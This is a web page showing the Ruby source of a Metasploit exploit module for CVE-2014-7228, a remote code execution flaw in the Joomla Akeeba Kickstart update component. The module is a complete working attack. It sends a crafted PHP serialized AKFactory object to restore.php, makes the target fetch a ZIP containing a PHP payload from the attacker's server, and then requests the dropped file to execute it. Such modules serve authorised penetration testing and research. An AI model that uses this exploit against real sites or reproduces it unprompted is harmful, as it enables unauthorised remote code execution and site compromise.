Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/zip'
7
require 'json'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::Remote::HttpClient
13
include Msf::Exploit::Remote::HttpServer::HTML
14
include Msf::Exploit::FileDropper
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
21
'Description' => %q{
22
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
23
3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
24
component, which is responsible for Joomla! updates. Nevertheless it is worth to note
25
that this vulnerability is only exploitable during the update of the Joomla! CMS.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Johannes Dahse', # Vulnerability discovery
30
'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
31
],
32
'References' => [
33
[ 'CVE', '2014-7228' ],
34
[ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
35
[ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
36
[ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
37
],
38
'Platform' => ['php'],
39
'Arch' => ARCH_PHP,
40
'Targets' => [
41
[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
42
],
43
'Stance' => Msf::Exploit::Stance::Aggressive,
44
'Privileged' => false,
45
'DisclosureDate' => '2014-09-29',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options(
56
[
57
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
58
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5])
59
]
60
)
61
end
62
63
def check
64
res = send_request_cgi(
65
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
66
)
67
68
if res && res.code == 200
69
return Exploit::CheckCode::Detected
70
end
71
72
Exploit::CheckCode::Safe
73
end
74
75
def primer
76
srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"
77
78
php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
79
php_filename = rand_text_alpha(8 + rand(8)) + '.php'
80
81
# Create the zip archive
82
print_status("Creating archive with file #{php_filename}")
83
zip_file = Rex::Zip::Archive.new
84
zip_file.add_file(php_filename, payload.encoded)
85
@zip = zip_file.pack
86
87
# First step: call restore to run _prepare() and get an initialized AKFactory
88
print_status("Sending PHP serialized object...")
89
res = send_request_cgi({
90
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
91
'vars_get' => {
92
'task' => 'stepRestore',
93
'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
94
}
95
})
96
97
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
98
print_status("#{res.code}\n#{res.body}")
99
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
100
end
101
102
# Second step: modify the currentPartNumber within the returned serialized AKFactory
103
json = /###(.*)###/.match(res.body)[1]
104
begin
105
b64encoded_prepared_factory = JSON.parse(json)['factory']
106
rescue JSON::ParserError
107
fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
108
end
109
110
prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
111
modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
112
113
print_status("Sending initialized and modified AKFactory...")
114
res = send_request_cgi({
115
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
116
'vars_get' => {
117
'task' => 'stepRestore',
118
'factory' => Rex::Text.encode_base64(modified_factory)
119
}
120
})
121
122
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
123
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
124
end
125
126
register_files_for_cleanup(php_filename)
127
128
print_status("Executing payload...")
129
send_request_cgi({
130
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
131
}, 2)
132
end
133
134
def exploit
135
begin
136
Timeout.timeout(datastore['HTTPDELAY']) { super }
137
rescue Timeout::Error
138
# When the server stops due to our timeout, this is raised
139
end
140
end
141
142
# Handle incoming requests from the server
143
def on_request_uri(cli, request)
144
if @zip && request.uri =~ /\.zip$/
145
print_status("Sending the ZIP archive...")
146
send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
147
return
148
end
149
150
print_status("Sending not found...")
151
send_not_found(cli)
152
end
153
154
def autofilter
155
true
156
end
157
end
158
159